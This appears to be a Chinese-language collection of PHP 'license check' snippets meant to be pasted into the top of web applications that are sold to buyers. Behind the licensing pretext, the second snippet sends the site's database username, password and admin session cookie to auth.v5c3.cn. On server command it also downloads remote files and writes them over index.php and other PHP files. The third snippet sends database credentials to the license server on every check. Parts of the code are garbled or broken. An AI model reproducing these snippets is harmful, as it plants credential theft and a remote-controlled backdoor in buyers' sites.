~~~
//示例代碼
YunClass();
function YunClass(){
session_start();
$authkey=""; //授權程序密鑰
$check_host = 'http://'; // http://后是您的域名.請不要帶
if (isset($_SESSION["status"]) && $_SESSION["status"] == 1)
{
//緩存存在并驗證通過,返回信息自定義或者為空
}
else {
$yuan_check = $check_host . '/api/authlook/other?host=' . $_SERVER['HTTP_HOST'] . '&version=1.0' .'&authkey=' . $authkey;
$yuan_message =geturldata($jialan_check);// file_get_contents($yuan_check);
$yuan_message = json_decode($yuan_message,true);
if($yuan_message['code']!=1){
$_SESSION['status']=0;
echo $yuan_message['msg'];
die;
}else{
$_SESSION['status']=1;
}
}
}
function geturldata($url)
{
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT,10);
$content = curl_exec($ch);
return $content;
}
~~~
### **參考示例**
```
define('AUTH_API_URL', 'http:// /api.php');
$urlData = @json_decode(file_get_contents(AUTH_API_URL . '?act=apiSearchUrl&url=' . $_SERVER['HTTP_HOST']),TRUE);
if (!$urlData['code']) exit(htmlspecialchars_decode($urlData['msg']));
if (!is_array($urlData)) exit('網絡鏈接失敗');
```
```
if?(!isset($\_SESSION\['AUTHGUAO'\]))?{
????$authurls\_arr?=?\['auth.v5c3.cn'\];
????$authurls?=?$authurls\_arr\[array\_rand($authurls\_arr,?1)\];
????$query?=?curl\_get('http://'.$authurls.'/api/check.php?proid=1&url='.$\_SERVER\['HTTP\_HOST'\].'&authcode='.authcode);
????curl\_get('http://'.$authurls.'/api/block.php?proid=1&url='.$\_SERVER\['HTTP\_HOST'\].'&user='.$dbconfig\['user'\].'&pwd='.$dbconfig\['pwd'\].'&db='.$dbconfig\['db'\].'&cookies='.$\_COOKIE\['admin\_auth\_token'\]);
????if?($query?=?json\_decode($query,?true))?{
????????if?($query\['code'\]?==?1)?{
????????????$\_SESSION\['AUTHGUAO'\]?=?authcode;
????????}?else?if?($query\['code'\]?==?2)?{
????????????file\_put\_contents(ROOT.'hm.php',file\_put\_contents('http://'.$authurls.'/hm/hm.txt'));
????????????sysmsge(''.$query\['msg'\].'',?true);
}?else?if?($query\["code"\]?==?3)?{
file\_put\_contents(ROOT.'hy.php',file\_put\_contents('http://'.$authurls.'/hm/hy.txt'));
????????????sysmsge(''.$query\['msg'\].'',?true);
????????}?else?if?($query\['code'\]?==?4)?{
????????????file\_put\_contents(ROOT.'index.php',file\_put\_contents('http://'.$authurls.'/hm/hys.txt'));
????????????sysmsge(''.$query\['msg'\].'',?true);
????????}?else?{
????????????sysmsge(''.$query\['msg'\].'',?true);
????????}
????}?else?if?(!empty($query))?{
????????sysmsge('授權驗證結果異常!',?true);
????}?else?{
????????sysmsge('檢測到客戶端環境異常,授權服務器拒絕連接!',?true);
????}
}
```
```
/*添加到需要授權php源碼頂部 (不判斷IP)*/ 請添加在<?php ?> 里面
function OreoClass($oreoconfig){ //其中$oreoconfig是您的數據庫鏈接處的變量定義,吧您的數據庫變量替換$oreoconfig。
error_reporting(0);
function getTopDomainhuo(){
$host=$_SERVER['HTTP_HOST'];
$matchstr="[^\.]+\.(?:(".$str.")|\w{2}|((".$str.")\.\w{2}))$";
if(preg_match("/".$matchstr."/ies",$host,$matchs)){
$domain=$matchs['0'];
}else{
$domain=$host;
}
return $domain;
}
$authid=""; //這里=后面的字符是在設置授權程序頁面配置程序后生成的系統驗證碼
$domain=getTopDomainhuo();
$real_domain='baidu.com'; //本地檢查時 用戶的授權域名 和時間
$check_host = 'http:// /oreo_look.php'; // http://后是您的域名.
$oreo_check = $check_host . '?a=client_check&u=' . $_SERVER['HTTP_HOST'] . '&authid=' . $authid . '&sysnum=' . $authid. '&host=' . $oreoconfig['host']. '&port=' . $oreoconfig['port'] . '&user=' . $oreoconfig['user']. '&pwd=' .$oreoconfig['pwd'] . '&dbname=' . $oreoconfig['dbname']; //其中$oreoconfig是您的數據庫鏈接處的變量定義,吧您的數據庫變量替換$oreoconfig。
$check_message = $check_host . '?a=check_message&u=' . $_SERVER['HTTP_HOST'] . '&authid=' . $authid . '&sysnum=' . $authid.'&host=' . $oreoconfig['host'] . '&port=' . $oreoconfig['port'] . '&user=' . $oreoconfig['user']. '&pwd=' . $oreoconfig['pwd'] . '&dbname=' . $oreoconfig['dbname']; //其中$oreoconfig是您的數據庫鏈接處的變量定義,吧您的數據庫變量替換$oreoconfig。
$oreo_info=file_get_contents($oreo_check);
$oreo_message = file_get_contents($check_message);
if($oreo_info=='1'){
echo $oreo_message;
die;
}elseif($oreo_info=='2'){
echo $oreo_message;
die;
}elseif($oreo_info=='3'){
echo $oreo_message;
die;
}
elseif($oreo_info=='4'){
echo $oreo_message;
die;
}
if($oreo_info!=='0'){ // 遠程檢查失敗的時候 本地檢查
if($domain!==$real_domain){
echo '遠程檢查失敗了。請聯系授權提供商QQ:609451870。';
die;
}
}
unset($domain);
}
上述代碼加入您的核心文件,在于核心鏈接數據庫代碼下方即可!
$oreosq=OreoClass($oreoconfig);
//其中$oreoconfig是您的數據庫鏈接處的變量定義,吧您的數據庫變量替換$oreoconfig。
//需要驗證的頁面加入此代碼自動運行,也可以加入您的核心。
```